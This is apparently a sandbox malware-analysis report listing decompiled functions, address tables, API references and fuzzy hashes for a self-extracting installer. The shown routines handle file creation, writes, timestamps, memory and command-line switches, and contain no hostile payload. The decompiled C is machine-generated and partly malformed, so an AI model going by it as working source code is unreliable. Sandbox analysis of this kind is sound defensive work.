Source File: 00000001.00000002.400535414.0000000000F81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000001.00000002.400528798.0000000000F80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400545316.0000000000F88000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400552912.0000000000F8A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400552912.0000000000F8C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f80000_bmMg.jbxd

Similarity

API ID: AttributesFileItemText
String ID: C:\Users\user\AppData\Local\Temp\IXP001.TMP\
API String ID: 3625706803-1116576409
Opcode ID: 814f8040a26017a064595373696bfcd2468628d73580d56071caa2167e531673
Instruction ID: 766fdcfe5aba5d4932fec2f4807479affe6b93ece791b8edbcd2169f37f7fd84
Opcode Fuzzy Hash: 814f8040a26017a064595373696bfcd2468628d73580d56071caa2167e531673
Instruction Fuzzy Hash: 1241F337A041079BCF25BF28DD486F973A5EB45320F084669E88297285DA35FE4AF750

Uniqueness

Uniqueness Score: -1.00%

Function 00F84C37 Relevance: 4.5, APIs: 3, Instructions: 39
timeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00F84C37(signed int __ecx, int __edx, int _a4) {
				struct _FILETIME _v12;
				struct _FILETIME _v20;
				FILETIME* _t14;
				int _t15;
				signed int _t21;

				_t21 = __ecx * 0x18;
				if( *((intOrPtr*)(_t21 + 0xf88d64)) == 1 || DosDateTimeToFileTime(__edx, _a4,  &_v20) == 0 || LocalFileTimeToFileTime( &_v20,  &_v12) == 0) {
					L5:
					return 0;
				} else {
					_t14 =  &_v12;
					_t15 = SetFileTime( *(_t21 + 0xf88d74), _t14, _t14, _t14); // executed
					if(_t15 == 0) {
						goto L5;
					}
					return 1;
				}
			}

0x00f84c40
0x00f84c4a
0x00f84c8d
0x00000000
0x00f84c70
0x00f84c70
0x00f84c7e
0x00f84c86
0x00000000
0x00000000
0x00000000
0x00f84c8a

APIs

DosDateTimeToFileTime.KERNEL32(?,?,?), ref: 00F84C54
LocalFileTimeToFileTime.KERNEL32(?,?), ref: 00F84C66
SetFileTime.KERNELBASE(?,?,?,?), ref: 00F84C7E

Memory Dump Source

Source File: 00000001.00000002.400535414.0000000000F81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000001.00000002.400528798.0000000000F80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400545316.0000000000F88000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400552912.0000000000F8A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400552912.0000000000F8C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f80000_bmMg.jbxd

Similarity

API ID: Time$File$DateLocal
String ID:
API String ID: 2071732420-0
Opcode ID: e4f816d0b92fbdfeb0de217be8ba7fcf52820916e8ed8cda9847e2ac71853c78
Instruction ID: 35dd3069a43dfde606291448e465da8e6c913a1a7a62e06b04a6584ebb1aabce
Opcode Fuzzy Hash: e4f816d0b92fbdfeb0de217be8ba7fcf52820916e8ed8cda9847e2ac71853c78
Instruction Fuzzy Hash: 0FF03072A0120EAFAB25EFB5CC49DFB77ADEB05250B44452BB915C1051EA30E914FBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00F8487A Relevance: 3.1, APIs: 2, Instructions: 59
fileCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E00F8487A(CHAR* __ecx, signed int __edx) {
				void* _t7;
				CHAR* _t11;
				long _t18;
				long _t23;

				_t11 = __ecx;
				asm("sbb edi, edi");
				_t18 = ( ~(__edx & 3) & 0xc0000000) + 0x80000000;
				if((__edx & 0x00000100) == 0) {
					asm("sbb esi, esi");
					_t23 = ( ~(__edx & 0x00000200) & 0x00000002) + 3;
				} else {
					if((__edx & 0x00000400) == 0) {
						asm("sbb esi, esi");
						_t23 = ( ~(__edx & 0x00000200) & 0xfffffffe) + 4;
					} else {
						_t23 = 1;
					}
				}
				_t7 = CreateFileA(_t11, _t18, 0, 0, _t23, 0x80, 0); // executed
				if(_t7 != 0xffffffff || _t23 == 3) {
					return _t7;
				} else {
					E00F8490C(_t11);
					return CreateFileA(_t11, _t18, 0, 0, _t23, 0x80, 0);
				}
			}

0x00f84880
0x00f8488c
0x00f84894
0x00f848a0
0x00f848c9
0x00f848ce
0x00f848a2
0x00f848a8
0x00f848b7
0x00f848bc
0x00f848aa
0x00f848ac
0x00f848ac
0x00f848a8
0x00f848de
0x00f848e7
0x00f8490b
0x00f848ee
0x00f848f0
0x00000000
0x00f84902

APIs

CreateFileA.KERNELBASE(00008000,-80000000,00000000,00000000,?,00000080,00000000,00000000,00000000,00000000,00F84A23,?,00F84F67,*MEMCAB,00008000,00000180), ref: 00F848DE
CreateFileA.KERNEL32(00008000,-80000000,00000000,00000000,?,00000080,00000000,?,00F84F67,*MEMCAB,00008000,00000180), ref: 00F84902

Memory Dump Source

Source File: 00000001.00000002.400535414.0000000000F81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000001.00000002.400528798.0000000000F80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400545316.0000000000F88000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400552912.0000000000F8A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400552912.0000000000F8C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f80000_bmMg.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: e395279ecb79f1d68940f25edc77cb73ac7cd409f17a0b2355c01bcbe6eef66d
Instruction ID: 75ed903f5eb3362a487a4d0e5458f13746432ed4c5b363cfd67eb3b2fbf019e4
Opcode Fuzzy Hash: e395279ecb79f1d68940f25edc77cb73ac7cd409f17a0b2355c01bcbe6eef66d
Instruction Fuzzy Hash: 6C014BA3E1257526F724A0294C88FF7555CCB96734F1B0335FDAAE71D1D664AC04A3E0

Uniqueness

Uniqueness Score: -1.00%

Function 00F84AD0 Relevance: 3.0, APIs: 2, Instructions: 47
fileCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E00F84AD0(signed int _a4, void* _a8, long _a12) {
				signed int _t9;
				int _t12;
				signed int _t14;
				signed int _t15;
				void* _t20;
				struct HWND__* _t21;
				signed int _t24;
				signed int _t25;

				_t20 =  *0xf8858c; // 0x268
				_t9 = E00F83680(_t20);
				if( *0xf891d8 == 0) {
					_push(_t24);
					_t12 = WriteFile( *(0xf88d74 + _a4 * 0x18), _a8, _a12,  &_a12, 0); // executed
					if(_t12 != 0) {
						_t25 = _a12;
						if(_t25 != 0xffffffff) {
							_t14 =  *0xf89400; // 0x5dc00
							_t15 = _t14 + _t25;
							 *0xf89400 = _t15;
							if( *0xf88184 != 0) {
								_t21 =  *0xf88584; // 0x0
								if(_t21 != 0) {
									SendDlgItemMessageA(_t21, 0x83a, 0x402, _t15 * 0x64 /  *0xf893f8, 0);
								}
							}
						}
					} else {
						_t25 = _t24 | 0xffffffff;
					}
					return _t25;
				} else {
					return _t9 | 0xffffffff;
				}
			}

0x00f84ad5
0x00f84adb
0x00f84ae7
0x00f84aee
0x00f84b05
0x00f84b0d
0x00f84b14
0x00f84b1a
0x00f84b1c
0x00f84b21
0x00f84b2a
0x00f84b2f
0x00f84b31
0x00f84b39
0x00f84b54
0x00f84b54
0x00f84b39
0x00f84b2f
0x00f84b0f
0x00f84b0f
0x00f84b0f
0x00f84b5e
0x00f84ae9
0x00f84aed
0x00f84aed

APIs

Part of subcall function 00F83680: MsgWaitForMultipleObjects.USER32(00000001,?,00000000,000000FF,000004FF), ref: 00F8369F
Part of subcall function 00F83680: PeekMessageA.USER32(?,00000000,00000000,00000000,00000001), ref: 00F836B2
Part of subcall function 00F83680: PeekMessageA.USER32(?,00000000,00000000,00000000,00000001), ref: 00F836DA

WriteFile.KERNELBASE(?,?,?,?,00000000), ref: 00F84B05

Memory Dump Source

Source File: 00000001.00000002.400535414.0000000000F81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000001.00000002.400528798.0000000000F80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400545316.0000000000F88000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400552912.0000000000F8A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400552912.0000000000F8C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f80000_bmMg.jbxd

Similarity

API ID: MessagePeek$FileMultipleObjectsWaitWrite
String ID:
API String ID: 1084409-0
Opcode ID: 7753826566daa48207e258a031364ebc963c61091691f191a32ea56db4471ee4
Instruction ID: 0189e0df423eecc880a8cf2ceb0677014a3b07264e24c7e85c593ac3b8b22216
Opcode Fuzzy Hash: 7753826566daa48207e258a031364ebc963c61091691f191a32ea56db4471ee4
Instruction Fuzzy Hash: 1D018C3164020AABDB14AF68DC05BF27759FB84735F098225F9399B1E1CB70E812EB90

Uniqueness

Uniqueness Score: -1.00%

Function 00F8658A Relevance: 1.5, APIs: 1, Instructions: 45
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00F8658A(char* __ecx, void* __edx, char* _a4) {
				intOrPtr _t4;
				char* _t6;
				char* _t8;
				void* _t10;
				void* _t12;
				char* _t16;
				intOrPtr* _t17;
				void* _t18;
				char* _t19;

				_t16 = __ecx;
				_t10 = __edx;
				_t17 = __ecx;
				_t1 = _t17 + 1; // 0xf88b3f
				_t12 = _t1;
				do {
					_t4 =  *_t17;
					_t17 = _t17 + 1;
				} while (_t4 != 0);
				_t18 = _t17 - _t12;
				_t2 = _t18 + 1; // 0xf88b40
				if(_t2 < __edx) {
					_t19 = _t18 + __ecx;
					if(_t19 > __ecx) {
						_t8 = CharPrevA(__ecx, _t19); // executed
						if( *_t8 != 0x5c) {
							 *_t19 = 0x5c;
							_t19 =  &(_t19[1]);
						}
					}
					_t6 = _a4;
					 *_t19 = 0;
					while( *_t6 == 0x20) {
						_t6 = _t6 + 1;
					}
					return E00F816B3(_t16, _t10, _t6);
				}
				return 0x8007007a;
			}

0x00f86592
0x00f86594
0x00f86596
0x00f86598
0x00f86598
0x00f8659b
0x00f8659b
0x00f8659d
0x00f8659e
0x00f865a2
0x00f865a4
0x00f865a9
0x00f865b2
0x00f865b6
0x00f865ba
0x00f865c3
0x00f865c5
0x00f865c8
0x00f865c8
0x00f865c3
0x00f865c9
0x00f865cc
0x00f865d2
0x00f865d1
0x00f865d1
0x00000000
0x00f865dc
0x00000000

APIs

CharPrevA.USER32(00F88B3E,00F88B3F,00000001,00F88B3E,-00000003,?,00F860EC,00F81140,?), ref: 00F865BA

Memory Dump Source

Source File: 00000001.00000002.400535414.0000000000F81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000001.00000002.400528798.0000000000F80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400545316.0000000000F88000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400552912.0000000000F8A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400552912.0000000000F8C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f80000_bmMg.jbxd

Similarity

API ID: CharPrev
String ID:
API String ID: 122130370-0
Opcode ID: 557e86bcc19b9ae9e63ee8eb139104066e5359afce97b1bab91ecca7fedbbf3e
Instruction ID: c6337546023b03c89c79c784f38b635b51d11465c4c9719c5a25ade792e98a6b
Opcode Fuzzy Hash: 557e86bcc19b9ae9e63ee8eb139104066e5359afce97b1bab91ecca7fedbbf3e
Instruction Fuzzy Hash: F1F04C335042509BD331291D9884BF6BFDEDB86360F2C016EF8DACB205DA658C46A3A0

Uniqueness

Uniqueness Score: -1.00%

Function 00F8621E Relevance: 1.5, APIs: 1, Instructions: 35
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E00F8621E() {
				signed int _v8;
				char _v268;
				signed int _t5;
				void* _t9;
				void* _t13;
				void* _t19;
				void* _t20;
				signed int _t21;

				_t5 =  *0xf88004; // 0x644c7055
				_v8 = _t5 ^ _t21;
				if(GetWindowsDirectoryA( &_v268, 0x104) != 0) {
					0x4f0 = 2;
					_t9 = E00F8597D( &_v268, 0x4f0, _t19, 0x4f0); // executed
				} else {
					E00F844B9(0, 0x4f0, _t8, _t8, 0x10, _t8);
					 *0xf89124 = E00F86285();
					_t9 = 0;
				}
				return E00F86CE0(_t9, _t13, _v8 ^ _t21, 0x4f0, _t19, _t20);
			}

0x00f86229
0x00f86230
0x00f86247
0x00f8626a
0x00f86272
0x00f86249
0x00f86255
0x00f8625f
0x00f86264
0x00f86264
0x00f86284

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00F8623F

Part of subcall function 00F844B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 00F84518
Part of subcall function 00F844B9: MessageBoxA.USER32(?,?,lenta,00010010), ref: 00F84554

Part of subcall function 00F86285: GetLastError.KERNEL32(00F85BBC), ref: 00F86285

Memory Dump Source

Source File: 00000001.00000002.400535414.0000000000F81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000001.00000002.400528798.0000000000F80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400545316.0000000000F88000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400552912.0000000000F8A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400552912.0000000000F8C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f80000_bmMg.jbxd

Similarity

API ID: DirectoryErrorLastLoadMessageStringWindows
String ID:
API String ID: 381621628-0
Opcode ID: b2a0d24026078d680fa0ee4823844cca5749e6aee68ee81940a9dc265bc58817
Instruction ID: 48bf8b38bb1ee1e9294c63d40cfbfc9435cea2e0aa12b4b58f00933a0f441f48
Opcode Fuzzy Hash: b2a0d24026078d680fa0ee4823844cca5749e6aee68ee81940a9dc265bc58817
Instruction Fuzzy Hash: 1EF082B1744208ABEB50FF749D06FFE77ACDB54700F4004AAB986DA191ED789D44A750

Uniqueness

Uniqueness Score: -1.00%

Function 00F84B60 Relevance: 1.5, APIs: 1, Instructions: 28
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00F84B60(signed int _a4) {
				signed int _t9;
				signed int _t15;

				_t15 = _a4 * 0x18;
				if( *((intOrPtr*)(_t15 + 0xf88d64)) != 1) {
					_t9 = FindCloseChangeNotification( *(_t15 + 0xf88d74)); // executed
					if(_t9 == 0) {
						return _t9 | 0xffffffff;
					}
					 *((intOrPtr*)(_t15 + 0xf88d60)) = 1;
					return 0;
				}
				 *((intOrPtr*)(_t15 + 0xf88d60)) = 1;
				 *((intOrPtr*)(_t15 + 0xf88d68)) = 0;
				 *((intOrPtr*)(_t15 + 0xf88d70)) = 0;
				 *((intOrPtr*)(_t15 + 0xf88d6c)) = 0;
				return 0;
			}

0x00f84b66
0x00f84b74
0x00f84b98
0x00f84ba0
0x00000000
0x00f84bac
0x00f84ba4
0x00000000
0x00f84ba4
0x00f84b78
0x00f84b7e
0x00f84b84
0x00f84b8a
0x00000000

APIs

FindCloseChangeNotification.KERNELBASE(?,00000000,00000000,?,00F84FA1,00000000), ref: 00F84B98

Memory Dump Source

Source File: 00000001.00000002.400535414.0000000000F81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000001.00000002.400528798.0000000000F80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400545316.0000000000F88000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400552912.0000000000F8A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400552912.0000000000F8C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f80000_bmMg.jbxd

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: d1cfb9609e057179b18baa7727f77f7144c6e45b0416605691bb80c0c994a52e
Instruction ID: 65394b9ebd2cb5263d3f6b7a779efc780a38a34a9a7aca0aebe99d9ce0dcf97a
Opcode Fuzzy Hash: d1cfb9609e057179b18baa7727f77f7144c6e45b0416605691bb80c0c994a52e
Instruction Fuzzy Hash: E6F01932D40B099E8772DF79CC016D2BBE4EAD53E0350092EA46ED2191EB30A542FBD0

Uniqueness

Uniqueness Score: -1.00%

Function 00F866AE Relevance: 1.5, APIs: 1, Instructions: 11
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00F866AE(CHAR* __ecx) {
				unsigned int _t1;

				_t1 = GetFileAttributesA(__ecx); // executed
				if(_t1 != 0xffffffff) {
					return  !(_t1 >> 4) & 0x00000001;
				} else {
					return 0;
				}
			}

0x00f866b1
0x00f866ba
0x00f866c7
0x00f866bc
0x00f866be
0x00f866be

APIs

GetFileAttributesA.KERNELBASE(?,00F84777,?,00F84E38,?), ref: 00F866B1

Memory Dump Source

Source File: 00000001.00000002.400535414.0000000000F81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000001.00000002.400528798.0000000000F80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400545316.0000000000F88000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400552912.0000000000F8A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400552912.0000000000F8C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f80000_bmMg.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 4a882d498f73a73c30f3b3f7841c692236e43da224ee1421fee2580fde95b9fa
Instruction ID: f8394646367cd87c14a98acb2c54106737f66a7db714fdeb3e836cd0e731b044
Opcode Fuzzy Hash: 4a882d498f73a73c30f3b3f7841c692236e43da224ee1421fee2580fde95b9fa
Instruction Fuzzy Hash: C7B09276622484426A2016316C295A63841F6C123A7E41B91F032C01E0DA3EC846E204

Uniqueness

Uniqueness Score: -1.00%

Function 00F84CA0 Relevance: 1.3, APIs: 1, Instructions: 8
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00F84CA0(long _a4) {
				void* _t2;

				_t2 = GlobalAlloc(0, _a4); // executed
				return _t2;
			}

0x00f84caa
0x00f84cb1

APIs

GlobalAlloc.KERNELBASE(00000000,?), ref: 00F84CAA

Memory Dump Source

Source File: 00000001.00000002.400535414.0000000000F81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000001.00000002.400528798.0000000000F80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400545316.0000000000F88000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400552912.0000000000F8A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400552912.0000000000F8C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f80000_bmMg.jbxd

Similarity

API ID: AllocGlobal
String ID:
API String ID: 3761449716-0
Opcode ID: d111df0f163a4943a9a33bd17f7f1068d309b910c6c0aaaba0c052e0c28cb58d
Instruction ID: 76b02aa4ffab6dc0fcd00c1c33d622c7b0d824558ee42fac5c8d1a0ba3af19f2
Opcode Fuzzy Hash: d111df0f163a4943a9a33bd17f7f1068d309b910c6c0aaaba0c052e0c28cb58d
Instruction Fuzzy Hash: 7DB0123214420CB7DF001FC2EC09FD53F1DE7C4761F240041F60C450508A7294109796

Uniqueness

Uniqueness Score: -1.00%

Function 00F84CC0 Relevance: 1.3, APIs: 1, Instructions: 7
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00F84CC0(void* _a4) {
				void* _t2;

				_t2 = GlobalFree(_a4); // executed
				return _t2;
			}

0x00f84cc8
0x00f84ccf

APIs

GlobalFree.KERNELBASE ref: 00F84CC8

Memory Dump Source

Source File: 00000001.00000002.400535414.0000000000F81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000001.00000002.400528798.0000000000F80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400545316.0000000000F88000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400552912.0000000000F8A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400552912.0000000000F8C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f80000_bmMg.jbxd

Similarity

API ID: FreeGlobal
String ID:
API String ID: 2979337801-0
Opcode ID: 821e44d9dcacae2e35d4cd69b95fea99c3e0892e2bb25ab91cc93a2dcb048d54
Instruction ID: 4d5319bb4e46c9206b2b26146e1d0db56b6b5eaa1c9cfe98547632b1404dd396
Opcode Fuzzy Hash: 821e44d9dcacae2e35d4cd69b95fea99c3e0892e2bb25ab91cc93a2dcb048d54
Instruction Fuzzy Hash: 62B0123100010CB78F001B42EC088953F1DD6C02607000051F50C451218B3398119685

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00F85C9E Relevance: 24.9, APIs: 10, Strings: 4, Instructions: 422
COMMONCrypto

Download Yara Rule

C-Code - Quality: 92%

			E00F85C9E(void* __ebx, CHAR* __ecx, void* __edi, void* __esi) {
				signed int _v8;
				signed int _v12;
				CHAR* _v265;
				char _v266;
				char _v267;
				char _v268;
				CHAR* _v272;
				char _v276;
				signed int _v296;
				char _v556;
				signed int _t61;
				int _t63;
				char _t67;
				CHAR* _t69;
				signed int _t71;
				void* _t75;
				char _t79;
				void* _t83;
				void* _t85;
				void* _t87;
				intOrPtr _t88;
				void* _t100;
				intOrPtr _t101;
				CHAR* _t104;
				intOrPtr _t105;
				void* _t111;
				void* _t115;
				CHAR* _t118;
				void* _t119;
				void* _t127;
				CHAR* _t129;
				void* _t132;
				void* _t142;
				signed int _t143;
				CHAR* _t144;
				void* _t145;
				void* _t146;
				void* _t147;
				void* _t149;
				char _t155;
				void* _t157;
				void* _t162;
				void* _t163;
				char _t167;
				char _t170;
				CHAR* _t173;
				void* _t177;
				intOrPtr* _t183;
				intOrPtr* _t192;
				CHAR* _t199;
				void* _t200;
				CHAR* _t201;
				void* _t205;
				void* _t206;
				int _t209;
				void* _t210;
				void* _t212;
				void* _t213;
				CHAR* _t218;
				intOrPtr* _t219;
				intOrPtr* _t220;
				signed int _t221;
				signed int _t223;

				_t173 = __ecx;
				_t61 =  *0xf88004; // 0x644c7055
				_v8 = _t61 ^ _t221;
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_t209 = 1;
				if(__ecx == 0 ||  *__ecx == 0) {
					_t63 = 1;
				} else {
					L2:
					while(_t209 != 0) {
						_t67 =  *_t173;
						if(_t67 == 0x20 || _t67 == 9 || _t67 == 0xd || _t67 == 0xa || _t67 == 0xb || _t67 == 0xc) {
							_t173 = CharNextA(_t173);
							continue;
						}
						_v272 = _t173;
						if(_t67 == 0) {
							break;
						} else {
							_t69 = _v272;
							_t177 = 0;
							_t213 = 0;
							_t163 = 0;
							_t202 = 1;
							do {
								if(_t213 != 0) {
									if(_t163 != 0) {
										break;
									} else {
										goto L21;
									}
								} else {
									_t69 =  *_t69;
									if(_t69 == 0x20 || _t69 == 9 || _t69 == 0xd || _t69 == 0xa || _t69 == 0xb || _t69 == 0xc) {
										break;
									} else {
										_t69 = _v272;
										L21:
										_t155 =  *_t69;
										if(_t155 != 0x22) {
											if(_t202 >= 0x104) {
												goto L106;
											} else {
												 *((char*)(_t221 + _t177 - 0x108)) = _t155;
												_t177 = _t177 + 1;
												_t202 = _t202 + 1;
												_t157 = 1;
												goto L30;
											}
										} else {
											if(_v272[1] == 0x22) {
												if(_t202 >= 0x104) {
													L106:
													_t63 = 0;
													L125:
													_pop(_t210);
													_pop(_t212);
													_pop(_t162);
													return E00F86CE0(_t63, _t162, _v8 ^ _t221, _t202, _t210, _t212);
												} else {
													 *((char*)(_t221 + _t177 - 0x108)) = 0x22;
													_t177 = _t177 + 1;
													_t202 = _t202 + 1;
													_t157 = 2;
													goto L30;
												}
											} else {
												_t157 = 1;
												if(_t213 != 0) {
													_t163 = 1;
												} else {
													_t213 = 1;
												}
												goto L30;
											}
										}
									}
								}
								goto L131;
								L30:
								_v272 =  &(_v272[_t157]);
								_t69 = _v272;
							} while ( *_t69 != 0);
							if(_t177 >= 0x104) {
								E00F86E2A(_t69, _t163, _t177, _t202, _t209, _t213);
								asm("int3");
								_push(_t221);
								_t222 = _t223;
								_t71 =  *0xf88004; // 0x644c7055
								_v296 = _t71 ^ _t223;
								if(GetWindowsDirectoryA( &_v556, 0x104) != 0) {
									0x4f0 = 2;
									_t75 = E00F8597D( &_v272, 0x4f0, _t209, 0x4f0); // executed
								} else {
									E00F844B9(0, 0x4f0, _t74, _t74, 0x10, _t74);
									 *0xf89124 = E00F86285();
									_t75 = 0;
								}
								return E00F86CE0(_t75, _t163, _v12 ^ _t222, 0x4f0, _t209, _t213);
							} else {
								 *((char*)(_t221 + _t177 - 0x108)) = 0;
								if(_t213 == 0) {
									if(_t163 != 0) {
										goto L34;
									} else {
										goto L40;
									}
								} else {
									if(_t163 != 0) {
										L40:
										_t79 = _v268;
										if(_t79 == 0x2f || _t79 == 0x2d) {
											_t83 = CharUpperA(_v267) - 0x3f;
											if(_t83 == 0) {
												_t202 = 0x521;
												E00F844B9(0, 0x521, 0xf81140, 0, 0x40, 0);
												_t85 =  *0xf88588; // 0x0
												if(_t85 != 0) {
													CloseHandle(_t85);
												}
												ExitProcess(0);
											}
											_t87 = _t83 - 4;
											if(_t87 == 0) {
												if(_v266 != 0) {
													if(_v266 != 0x3a) {
														goto L49;
													} else {
														_t167 = (0 | _v265 == 0x00000022) + 3;
														_t215 =  &_v268 + _t167;
														_t183 =  &_v268 + _t167;
														_t50 = _t183 + 1; // 0x1
														_t202 = _t50;
														do {
															_t88 =  *_t183;
															_t183 = _t183 + 1;
														} while (_t88 != 0);
														if(_t183 == _t202) {
															goto L49;
														} else {
															_t205 = 0x5b;
															if(E00F8667F(_t215, _t205) == 0) {
																L115:
																_t206 = 0x5d;
																if(E00F8667F(_t215, _t206) == 0) {
																	L117:
																	_t202 =  &_v276;
																	_v276 = _t167;
																	if(E00F85C17(_t215,  &_v276) == 0) {
																		goto L49;
																	} else {
																		_t202 = 0x104;
																		E00F81680(0xf88c42, 0x104, _v276 + _t167 +  &_v268);
																	}
																} else {
																	_t202 = 0x5b;
																	if(E00F8667F(_t215, _t202) == 0) {
																		goto L49;
																	} else {
																		goto L117;
																	}
																}
															} else {
																_t202 = 0x5d;
																if(E00F8667F(_t215, _t202) == 0) {
																	goto L49;
																} else {
																	goto L115;
																}
															}
														}
													}
												} else {
													 *0xf88a24 = 1;
												}
												goto L50;
											} else {
												_t100 = _t87 - 1;
												if(_t100 == 0) {
													L98:
													if(_v266 != 0x3a) {
														goto L49;
													} else {
														_t170 = (0 | _v265 == 0x00000022) + 3;
														_t217 =  &_v268 + _t170;
														_t192 =  &_v268 + _t170;
														_t38 = _t192 + 1; // 0x1
														_t202 = _t38;
														do {
															_t101 =  *_t192;
															_t192 = _t192 + 1;
														} while (_t101 != 0);
														if(_t192 == _t202) {
															goto L49;
														} else {
															_t202 =  &_v276;
															_v276 = _t170;
															if(E00F85C17(_t217,  &_v276) == 0) {
																goto L49;
															} else {
																_t104 = CharUpperA(_v267);
																_t218 = 0xf88b3e;
																_t105 = _v276;
																if(_t104 != 0x54) {
																	_t218 = 0xf88a3a;
																}
																E00F81680(_t218, 0x104, _t105 + _t170 +  &_v268);
																_t202 = 0x104;
																E00F8658A(_t218, 0x104, 0xf81140);
																if(E00F831E0(_t218) != 0) {
																	goto L50;
																} else {
																	goto L106;
																}
															}
														}
													}
												} else {
													_t111 = _t100 - 0xa;
													if(_t111 == 0) {
														if(_v266 != 0) {
															if(_v266 != 0x3a) {
																goto L49;
															} else {
																_t199 = _v265;
																if(_t199 != 0) {
																	_t219 =  &_v265;
																	do {
																		_t219 = _t219 + 1;
																		_t115 = CharUpperA(_t199) - 0x45;
																		if(_t115 == 0) {
																			 *0xf88a2c = 1;
																		} else {
																			_t200 = 2;
																			_t119 = _t115 - _t200;
																			if(_t119 == 0) {
																				 *0xf88a30 = 1;
																			} else {
																				if(_t119 == 0xf) {
																					 *0xf88a34 = 1;
																				} else {
																					_t209 = 0;
																				}
																			}
																		}
																		_t118 =  *_t219;
																		_t199 = _t118;
																	} while (_t118 != 0);
																}
															}
														} else {
															 *0xf88a2c = 1;
														}
														goto L50;
													} else {
														_t127 = _t111 - 3;
														if(_t127 == 0) {
															if(_v266 != 0) {
																if(_v266 != 0x3a) {
																	goto L49;
																} else {
																	_t129 = CharUpperA(_v265);
																	if(_t129 == 0x31) {
																		goto L76;
																	} else {
																		if(_t129 == 0x41) {
																			goto L83;
																		} else {
																			if(_t129 == 0x55) {
																				goto L76;
																			} else {
																				goto L49;
